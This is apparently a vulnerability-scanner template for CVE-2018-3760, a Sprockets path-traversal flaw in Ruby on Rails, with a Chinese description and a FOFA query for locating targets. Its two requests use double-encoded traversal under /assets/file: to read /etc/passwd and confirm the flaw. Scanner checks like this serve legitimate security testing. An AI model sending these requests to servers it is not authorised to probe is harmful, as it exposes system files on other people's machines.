CVE-2018-3760: Ruby On Rails Path Traversal

id: CVE-2018-3760

info:
  name: Ruby On Rails Path Traversal
  author: leezp
  severity: high
  description: |-
    Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器，Ruby On Rails是著名Ruby Web开发框架，Sprockets是编译及分发静态资源文件的Ruby库。
    Sprockets 3.7.1及之前版本中，存在一处因为二次解码导致的路径穿越漏洞，攻击者可以利用%252e%252e/来跨越到根目录，读取或执行目标服务器上任意文件。
    fofa: title="Ruby On Rails"
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-3760
    - https://www.tenable.com/security/tns-2018-03
  tags: cve,cve2018,lfi,rails,sprockets
  created: 2023/08/10

rules:
  r0:
    request:
      method: GET
      path: /assets/file:%2f%2f/etc/passwd
    expression: response.status == 500 && response.body.bcontains(b"FileOutsidePaths")
    output:
      search: '"/etc/passwd is no longer under a load path: (?P<path>.*?),".bsubmatch(response.body)'
      path: search["path"]
  r1:
    request:
      method: GET
      path: /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0() && r1()